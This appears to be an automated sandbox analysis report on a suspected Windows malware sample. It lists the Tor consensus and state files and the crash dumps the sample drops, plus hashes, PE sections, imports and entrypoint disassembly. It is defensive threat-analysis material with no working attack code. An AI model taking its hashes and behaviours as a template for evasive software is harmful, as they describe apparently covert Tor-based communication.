SHA-512:	C7F08AEDB03E0319137955477C7ACCFE0A5ABDF3B72320348BDEE96DA850AE1031AC4E19CDE57011D56C23EF50540FEC304FCF52CB186932D5A70F21E86A8626
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="77582" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB1C3.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Sun Nov 26 06:00:09 2023, 0x1205a4 type
Category:	dropped
Size (bytes):	4181286
Entropy (8bit):	2.2936444474485844
Encrypted:	false
SSDEEP:	12288:4Ct1UyUXIK4nXvO8tZMu7Q1ZPMq7z50snmCV3D4a6+echcQhnqFWVXA/NbFtWzu5:4gIUwaObebb7w
MD5:	D076ACA5F3C9BD472022F326CB38D9A4
SHA1:	433953334438BF63EE7F71E746D333BC5B241378
SHA-256:	9C89307A51E5CE2AF91DF7CF9AEF34D72E8C7C7E27A51F82EEACA9045567E3F7
SHA-512:	3516215DABB4185B9E68E5A21F409C1C6FF943E4E78EFD9E73F10F8A43D958F81ECDF1EBD7C3BC7BEB789B90D9465DCBEE7A346DC8B9749901565301B3385DB5
Malicious:	false
Preview:	MDMP..a..... .........be............4f..............Hm......,...<.......T...t...........`.......8...........T.................<.........h...........T...............................................................................eJ.............GenuineIntel............T.......`.....be.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCD4B.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6334
Entropy (8bit):	3.7227234572165737
Encrypted:	false
SSDEEP:	96:RSIU6o7wVetbqgx6hsYHdOdBmNzAgaMQUG89b+msfDkp7Gm:R6l7wVeJLx6qYYj8pDG89b+msfcqm
MD5:	F690B75361B4E652E93B710C97248612
SHA1:	5F81E0C88789A4F9DAB8A88147E62EB8AF563023
SHA-256:	0BB9878E0CD4D18C817ECE1ADE9DA315C3BEAC07248B1C1CF03614E60401371E
SHA-512:	A6BE599D3EE2A204AF0EC9707E0222857DD64CCC64348F1B94512E07EA69AA078D6683F31F0ABDA34DEB22F28F97B8780D806ABDE420160A141A3A2764C2AE9D
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.2.4.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCD8A.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4578
Entropy (8bit):	4.467615013639689
Encrypted:	false
SSDEEP:	48:cvIwWl8zsBJg77aI93cWpW8VY6cYm8M4Js/vL/PjFfU+q8T9JDGiHozziUCDUydd:uIjfTI75V7Vf5JMTNU0JPIzxCwydd
MD5:	C8114667CD912CD706B3AAEBFA166A06
SHA1:	CDA7B2D712F0F76C07495FA28769C0AA7A36A4F8
SHA-256:	975147FEBD562C0E93DDB3A7D123622E867F2A0ADE7705BAC94A79B81E9AD8D1
SHA-512:	B3CEDBE028FC3F6581D9A2AA406F2054F66184FBA2227307DCA50E2DEB5BAB9BCEAFD592AA1EE6DF0B3BC8EF8F83B82E26002AD13EAC44A92F4225B5400C2D42
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="77582" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096

C:\Users\user\AppData\Local\Temp\4kPv6aJG8e\cached-certs.tmp

Download File

Process:	C:\Users\user\Desktop\klWGq3yDcQ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	16296
Entropy (8bit):	6.052007825910585
Encrypted:	false
SSDEEP:	384:7d24ZFtVf1hc1x2h4YVc1h1yd4AW9V9hC1hIhaU4XVy41h9Yc2q48XVd91hMBtMk:Z2M1ux6xyhyrqvUg32xi8nX98RBkoich
MD5:	D6C8A4CD9393E4D2AC938D24FB24C6D5
SHA1:	13E3DC3A0C1CBE12884C029FCDF16ECC3F7D9B6E
SHA-256:	3C66AE57D981E559AC1FCAF236AB63D9D7811F97F49D9BB51F8D27CF2781481D
SHA-512:	691D4B4AEA631872E24C06F8AC64B712416E47A4987A6FE63E6D5C5A24A218C6A5973688DCDFC261FC90A36CAE518E749C6E59805F6B76B68E8A0768627D45EB
Malicious:	false
Preview:	dir-key-certificate-version 3..fingerprint ED03BB616EB2F60BEC80151114BB25CEF515B226..dir-key-published 2023-03-05 22:55:19..dir-key-expires 2024-03-05 22:55:19..dir-identity-key..-----BEGIN RSA PUBLIC KEY-----..MIIBigKCAYEA1d6uTRiqdMp4BHBYIHKR6NB599Z1Bqw4TbOVkM2N1aSA4V/L/hKI..nl6m/2LL/UAS+E3NCFX0dhw2+D7r7BTJyfGwz0H2MR6Py5/rCMAnPl20wCjXk2qY..ACQa0rJvIqXobwGnDlvxn4ezsj0IEY/FEb61zHnnPHf6d3uyFR1QT06qEOQyYzML..76f/Lud8MUt+8KzsdnadAPL8okNvcS/nqa2bWbbGhC8S8rtDpPg5BhX2ikXa88RM..QdrrackdppB2ttHlq9+iH3c8Wyp7bvdH8uhv410W7RnIE4P+KIxt3L0gqkxCjjyh..mn9ONcdgNOKe31q2cdW5LOPSIK+I5/VTjYjICza7Euyg03drpoBMGLuuJZY6FXEV..auIBncWe+So8FMxqU/fwo5xm6x085U1MwXUmi4XDYpr/kau6ytPnzzw9J++4W9iC..em5Jp0vaxrDnPdphqT0FWsBAwsZFL7nZRnmUlTgGsXUa0oSM9/MErDwzELh/NwG4..DNyyzRG8iP61AgMBAAE=..-----END RSA PUBLIC KEY-----..dir-signing-key..-----BEGIN RSA PUBLIC KEY-----..MIIBCgKCAQEAvaQxritqKpbDk3YHM5nZdb7HiyF9oJ8jgxja4uwda5+q7JD4ZDSp..fZPR5jet7Ceijf69XjniJQB7HOQOwWe4QDujylFMRYT/JlBlWGQd+48UXdgyjJ/a..6p0pOp7mus6956GRwijqL8uvFQYK

C:\Users\user\AppData\Local\Temp\4kPv6aJG8e\cached-microdesc-consensus.tmp

Download File

Process:	C:\Users\user\Desktop\klWGq3yDcQ.exe
File Type:	ASCII text, with very long lines (1006)
Category:	dropped
Size (bytes):	2767636
Entropy (8bit):	5.617887675466888
Encrypted:	false
SSDEEP:	12288:eeSgYkg1NDo+/7ORpGAMAI6IsZr3i7fsd1enQ2tfhvEN7CDawxYARLXbed3c:YgY/zJ7ORprtryr6QQ2FhRa+RLw3c
MD5:	974C50C59A0C08C693CD0E89B25C611E
SHA1:	DFB0ADD696CDFB6DEA30B85CE804BFB19A1CF0FF
SHA-256:	431220F091535B808C18699FD5C9C1E0750C225B59671460D707B318E20D2099
SHA-512:	196DB0D36D3B9F6566DA86239BD8F9E81E25C372EDD5D8C646E576B692890B04BF25AC4438C996D8CB8C79BD091066C90FF657C051C9F530D33BB6EF6E25CAD5
Malicious:	false
Preview:	network-status-version 3 microdesc.vote-status consensus.consensus-method 33.valid-after 2023-11-26 05:00:00.fresh-until 2023-11-26 06:00:00.valid-until 2023-11-26 08:00:00.voting-delay 300 300.client-versions 0.4.7.7,0.4.7.8,0.4.7.10,0.4.7.11,0.4.7.12,0.4.7.13,0.4.7.14,0.4.7.15,0.4.7.16,0.4.8.1-alpha,0.4.8.2-alpha,0.4.8.3-rc,0.4.8.4,0.4.8.5,0.4.8.6,0.4.8.7,0.4.8.8,0.4.8.9.server-versions 0.4.7.7,0.4.7.8,0.4.7.10,0.4.7.11,0.4.7.12,0.4.7.13,0.4.7.14,0.4.7.15,0.4.7.16,0.4.8.1-alpha,0.4.8.2-alpha,0.4.8.3-rc,0.4.8.4,0.4.8.5,0.4.8.6,0.4.8.7,0.4.8.8,0.4.8.9.known-flags Authority BadExit Exit Fast Guard HSDir MiddleOnly NoEdConsensus Running Stable StaleDesc Sybil V2Dir Valid.recommended-client-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 Microdesc=2 Relay=2.recommended-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2.required-client-protocols Cons=2 Desc=2 Link=4 Microdesc=2 Relay=2.required-relay-protocols

C:\Users\user\AppData\Local\Temp\4kPv6aJG8e\cached-microdescs.new

Download File

Process:	C:\Users\user\Desktop\klWGq3yDcQ.exe
File Type:	ASCII text, with very long lines (16386)
Category:	modified
Size (bytes):	21064813
Entropy (8bit):	4.826245633389893
Encrypted:	false
SSDEEP:	24576:rUDI7X8P4nl8J4WbmL5dyfZxqO36Nd79MFP9l9B8MZ6YnOYZ0L29GwoPIs0KMs23:qgW4h0MFpnLnXk5fndCQ3ke31RbwYH
MD5:	6A3995FDE2F857849499245A4F16240D
SHA1:	87D749B89B0935AB834E0EDBEAD8316DE403AC2A
SHA-256:	365983F20FDC005BFE7B78250C4D7AC9E51FC590BDD9081D8DF84920CE043302
SHA-512:	1A3200A57ED8E5EA3352CDA6025CA850F846DFCDF33C4AF6BFED8A339CD2EADBCCD27CD9BC29E9538E78224FDFF64493DA5DA8C5F0813B5FA972A051207F18E8
Malicious:	false
Preview:	@last-listed 2023-11-26 05:58:57.onion-key.-----BEGIN RSA PUBLIC KEY-----.MIGJAoGBANnjMpj+LGelayMTuDEbYE+IWcaxM0aZ1C1ZgLBafrf+l/Nc+V0cWxLV.HM2zVoCwa+x4zNsYtA7VJIR+G5cLGKy1YbMtb5i89uCLmvk5JV+sJr6GsFoDIyGW.PSgAzQRLDJnrZbYQe7K98ilK7Oc2gj4rKYzzeM6tkA4pLCco7t7LAgMBAAE=.-----END RSA PUBLIC KEY-----.ntor-onion-key lU8+UY0MaMkgsA/Uhhj0W+Pxb6vMcIQTtUzTTWL2iTE.family $00CC3A3D92C33E171BBDAEACC4601173BFA24150 $0145977CF1D2D4AAF98907BF81DAAD8480EFC3FD $02EC629306C61EE1D3BDD4DD978514B99E226EA0 $038B2A774C859796FC11D26DB7F16494708F7749 $045BBCA9602A22C112984F25003CD4897CFFB9E5 $06A64BF11983B8323FF7EEDCE5C35A0543523B54 $06B07DD797C5D54D61DB9AAC4554AB7C4845549B $0B06DD6A65C48EA79FC43031CBD93650B08A0661 $12C2B0CD1B8C7A12229A7C36E134274550DCD7F4 $12CD9B24FB7F981E800F86A37DEFA47B4AE572DC $1CCA5C61826AA2C48310BD771E7B0A96FF6BCA6D $1D24292113610F0096FCC554664EC33BE27A4F54 $1D7EBE2ADBEF0353AA77C579CD013B5CF82E740D $1F953ACBFB9F44CE38543B7E9C0E0BE1BDC7E941 $22031066AA0C1A8CD90E2BC03CB60A4AAF713EF6 $245C88E53

C:\Users\user\AppData\Local\Temp\4kPv6aJG8e\state.tmp

Download File

Process:	C:\Users\user\Desktop\klWGq3yDcQ.exe
File Type:	ASCII text, with very long lines (356), with CRLF line terminators
Category:	dropped
Size (bytes):	4227
Entropy (8bit):	5.302243346969084
Encrypted:	false
SSDEEP:	48:c7/QxaSLDggEshKm5Fgx0tHxKZwLSl0UausrWVxNl64fPHKkY:4YDggEsYmHgx2G05KVLVPqkY
MD5:	765E24E127075F44F60BBEC82AB85290
SHA1:	0F64AC8072F9FB23CF5BBA0A5366047CA239C65D
SHA-256:	C236F5D3357ADBAA1FE4BCC6537A0E674689CCF3E6EF703D44ED6275C9D33455
SHA-512:	1083EB3A28006F5505F3D90D58916CBB853C4C3138347E14B0D62A114299F6762F3593F114824D7E300BE132F9F3DFBFF9F99596385AD4857D94F893606AECCD
Malicious:	false
Preview:	# Tor state file last generated on 2023-11-26 06:59:58 local time..# Other times below are in UTC..# You do not need to edit this file.....CircuitBuildTimeBin 725 1..CircuitBuildTimeBin 775 1..CircuitBuildTimeBin 825 2..CircuitBuildTimeBin 875 1..CircuitBuildTimeBin 925 1..CircuitBuildTimeBin 975 1..CircuitBuildTimeBin 1025 1..CircuitBuildTimeBin 1075 2..CircuitBuildTimeBin 1175 1..CircuitBuildTimeBin 1225 1..CircuitBuildTimeBin 1275 1..CircuitBuildTimeBin 1425 2..CircuitBuildTimeBin 1475 1..CircuitBuildTimeBin 1625 2..CircuitBuildTimeBin 2375 2..CircuitBuildTimeBin 12275 1..Dormant 0..Guard in=default rsa_id=BF93594384A02DE7689C4FD821E2638DA2CD4792 nickname=labaliseridicule sampled_on=2023-11-25T20:14:43 sampled_idx=0 sampled_by=0.4.4.9 listed=1 confirmed_on=2023-11-25T14:22:11 confirmed_idx=1 pb_use_attempts=8.000000 pb_use_successes=8.000000 pb_circ_attempts=10.000000 pb_circ_successes=9.000000 pb_successful_circuits_closed=9.000000..Guard in=default rsa_id=B8D3B9067FAA01EAACBC688

C:\Users\user\AppData\Local\Temp\4kPv6aJG8e\unverified-microdesc-consensus.tmp

Download File

Process:	C:\Users\user\Desktop\klWGq3yDcQ.exe
File Type:	ASCII text, with very long lines (1006)
Category:	dropped
Size (bytes):	2767636
Entropy (8bit):	5.617887675466888
Encrypted:	false
SSDEEP:	12288:eeSgYkg1NDo+/7ORpGAMAI6IsZr3i7fsd1enQ2tfhvEN7CDawxYARLXbed3c:YgY/zJ7ORprtryr6QQ2FhRa+RLw3c
MD5:	974C50C59A0C08C693CD0E89B25C611E
SHA1:	DFB0ADD696CDFB6DEA30B85CE804BFB19A1CF0FF
SHA-256:	431220F091535B808C18699FD5C9C1E0750C225B59671460D707B318E20D2099
SHA-512:	196DB0D36D3B9F6566DA86239BD8F9E81E25C372EDD5D8C646E576B692890B04BF25AC4438C996D8CB8C79BD091066C90FF657C051C9F530D33BB6EF6E25CAD5
Malicious:	false
Preview:	network-status-version 3 microdesc.vote-status consensus.consensus-method 33.valid-after 2023-11-26 05:00:00.fresh-until 2023-11-26 06:00:00.valid-until 2023-11-26 08:00:00.voting-delay 300 300.client-versions 0.4.7.7,0.4.7.8,0.4.7.10,0.4.7.11,0.4.7.12,0.4.7.13,0.4.7.14,0.4.7.15,0.4.7.16,0.4.8.1-alpha,0.4.8.2-alpha,0.4.8.3-rc,0.4.8.4,0.4.8.5,0.4.8.6,0.4.8.7,0.4.8.8,0.4.8.9.server-versions 0.4.7.7,0.4.7.8,0.4.7.10,0.4.7.11,0.4.7.12,0.4.7.13,0.4.7.14,0.4.7.15,0.4.7.16,0.4.8.1-alpha,0.4.8.2-alpha,0.4.8.3-rc,0.4.8.4,0.4.8.5,0.4.8.6,0.4.8.7,0.4.8.8,0.4.8.9.known-flags Authority BadExit Exit Fast Guard HSDir MiddleOnly NoEdConsensus Running Stable StaleDesc Sybil V2Dir Valid.recommended-client-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 Microdesc=2 Relay=2.recommended-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2.required-client-protocols Cons=2 Desc=2 Link=4 Microdesc=2 Relay=2.required-relay-protocols

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.465445695142004
Encrypted:	false
SSDEEP:	6144:0IXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uN8dwBCswSbN:JXD94+WlLZMM6YFHO+N
MD5:	812BEB3BB13A8096085654919D9E81BD
SHA1:	599BC8F520E72262271A44787E9F6FFBF83865AB
SHA-256:	62A7F3462BC19F727329A2F64C99470E36FDD2FE301B370F1BDE67A107560862
SHA-512:	38B0F59AAD81A0C2802F7080FC2696C858CD46054D3D6736631FEB86C076D512D6F368B3F6FF2F2E4996CBF60A1E96DBFE67AACB0A3A87F85BD2F2EFD909A3B7
Malicious:	false
Preview:	regf8...8....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtmv...- ...............................................................................................................................................................................................................................................................................................................................................O..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.914331766253071
TrID:	Win32 Executable (generic) a (10002005/4) 99.81% Windows Screen Saver (13104/52) 0.13% Clipper DOS Executable (2020/12) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02%
File name:	klWGq3yDcQ.exe
File size:	1'973'248 bytes
MD5:	fe049ddd0ffd2df34da564208aff9cec
SHA1:	1df42bae63a1698b6070b198f9dceb3ac2b1338e
SHA256:	aa16eed6abd2118df6b0670813ae3b9dab59b458bdc76222866c9a9fc0fa1409
SHA512:	b46e677b3366e395a96761c768112acb01acfeacc92bc5f2749a923bcbc33e4ee6a1d9f5156cf6e250e217e79111e576f5567eae2f7eb381ffa2e08162f1ffbc
SSDEEP:	49152:T9+v9qBhn3hRk9XkSxV4QFTNXopKJe8FtU+0:5wqBZTk9X7bFTSphIK
TLSH:	4895232374E0FC75C4660331DD2CA7DC7BAD78A4AE2297873628BE4E29300B1E567765
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................PE..L......c.................$.

File Icon


Icon Hash:	4945415525514509

Static PE Info

General

Entrypoint:	0x4061a5
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x6385B690 [Tue Nov 29 07:36:48 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	26174cd618191e0f458fd2f9d0ece6c1

Entrypoint Preview

Instruction
call 00007FF9B8E7B146h
jmp 00007FF9B8E756ADh
int3
mov ecx, dword ptr [esp+04h]
test ecx, 00000003h
je 00007FF9B8E75856h
mov al, byte ptr [ecx]
add ecx, 01h
test al, al
je 00007FF9B8E75880h
test ecx, 00000003h
jne 00007FF9B8E75821h
add eax, 00000000h
lea esp, dword ptr [esp+00000000h]
lea esp, dword ptr [esp+00000000h]
mov eax, dword ptr [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, FFFFFFFFh
xor eax, edx
add ecx, 04h
test eax, 81010100h
je 00007FF9B8E7581Ah
mov eax, dword ptr [ecx-04h]
test al, al
je 00007FF9B8E75864h
test ah, ah
je 00007FF9B8E75856h
test eax, 00FF0000h
je 00007FF9B8E75845h
test eax, FF000000h
je 00007FF9B8E75834h
jmp 00007FF9B8E757FFh
lea eax, dword ptr [ecx-01h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-02h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-03h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-04h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 20h
mov eax, dword ptr [ebp+08h]
push esi
push edi
push 00000008h
pop ecx
mov esi, 00401350h
lea edi, dword ptr [ebp-20h]
rep movsd
mov dword ptr [ebp-08h], eax
mov eax, dword ptr [ebp+0Ch]
pop edi
mov dword ptr [ebp-04h], eax
pop esi
test eax, eax
je 00007FF9B8E7583Eh
test byte ptr [eax], 00000008h
je 00007FF9B8E75839h
mov dword ptr [ebp-0Ch], 00000000h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1d27e0	0x50	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x287000	0xd620	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1210	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x39a0	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x1c0	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1d2242	0x1d2400	False	0.9661585748994638	data	7.957840457952121	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x1d4000	0xb2a84	0x1c00	False	0.2689732142857143	data	2.7898713730426747	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x287000	0xd620	0xd800	False	0.3271484375	DIY-Thermocam raw data (Lepton 2.x), scale 0-0, spot sensor temperature 0.000000, unit celsius, color scheme 0, calibration: offset 0.000000, slope 166153499473114484112975882535043072.000000	4.185045380876816	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x28f968	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	English	United States	0.2953091684434968
RT_CURSOR	0x290810	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	English	United States	0.46705776173285196
RT_CURSOR	0x2910b8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	English	United States	0.5361271676300579
RT_CURSOR	0x291650	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	English	United States	0.26439232409381663
RT_CURSOR	0x2924f8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	English	United States	0.3686823104693141
RT_CURSOR	0x292da0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	English	United States	0.49060693641618497
RT_CURSOR	0x293338	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0	English	United States	0.4375
RT_CURSOR	0x293468	0xb0	Device independent bitmap graphic, 16 x 32 x 1, image size 0	English	United States	0.44886363636363635
RT_ICON	0x2875d0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	English	United States	0.3603411513859275
RT_ICON	0x288478	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	English	United States	0.4697653429602888
RT_ICON	0x288d20	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	United States	0.46390041493775935
RT_ICON	0x28b2c8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	United States	0.47162288930581614
RT_ICON	0x28c370	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	United States	0.49556737588652483
RT_ICON	0x28c828	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	English	United States	0.4153225806451613
RT_ICON	0x28cef0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	United States	0.1783195020746888
RT_ICON	0x28f498	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	United States	0.22606382978723405
RT_STRING	0x293778	0x648	data	English	United States	0.43283582089552236
RT_STRING	0x293dc0	0x378	data	English	United States	0.4605855855855856
RT_STRING	0x294138	0x318	data	English	United States	0.4810606060606061
RT_STRING	0x294450	0x1ca	data	English	United States	0.4868995633187773
RT_ACCELERATOR	0x28f930	0x38	data	English	United States	0.8928571428571429
RT_GROUP_CURSOR	0x291620	0x30	data	English	United States	0.9375
RT_GROUP_CURSOR	0x293308	0x30	data	English	United States	0.9375
RT_GROUP_CURSOR	0x293518	0x22	data	English	United States	1.0588235294117647
RT_GROUP_ICON	0x28c7d8	0x4c	data	English	United States	0.75
RT_GROUP_ICON	0x28f900	0x30	data	English	United States	0.9791666666666666
RT_VERSION	0x293540	0x238	data	English	United States	0.5475352112676056

Imports

DLL	Import
KERNEL32.dll	TlsGetValue, SetLocalTime, GetConsoleAliasExesLengthA, FindResourceW, GlobalAddAtomA, GetConsoleAliasA, InitializeSListHead, CreateJobObjectW, SetComputerNameW, GetModuleHandleW, CreateNamedPipeW, GetConsoleAliasesA, GetWindowsDirectoryA, GetGeoInfoW, LoadLibraryW, ReadConsoleInputA, GetSystemWindowsDirectoryA, GetNamedPipeInfo, CreateFileW, GetVolumePathNameA, GetLastError, SetLastError, GetComputerNameA, VirtualAlloc, EnumDateFormatsExA, RemoveDirectoryA, SearchPathA, GetPrivateProfileStringA, OpenWaitableTimerW, LocalAlloc, CreateFileMappingW, GetNumberFormatW, SetConsoleWindowInfo, GetSystemInfo, GlobalFindAtomW, FindFirstVolumeMountPointA, FreeEnvironmentStringsW, EndUpdateResourceA, ReadConsoleInputW, GetWindowsDirectoryW, GetCurrentProcessId, GetConsoleProcessList, DebugActiveProcess, GetProcAddress, UnhandledExceptionFilter, SetUnhandledExceptionFilter, Sleep, ExitProcess, GetCommandLineA, GetStartupInfoA, RaiseException, RtlUnwind, WriteFile, GetStdHandle, GetModuleFileNameA, TerminateProcess, GetCurrentProcess, IsDebuggerPresent, HeapAlloc, HeapFree, EnterCriticalSection, LeaveCriticalSection, SetHandleCount, GetFileType, DeleteCriticalSection, TlsAlloc, TlsSetValue, TlsFree, InterlockedIncrement, GetCurrentThreadId, InterlockedDecrement, CloseHandle, LoadLibraryA, InitializeCriticalSectionAndSpinCount, FreeEnvironmentStringsA, GetEnvironmentStrings, 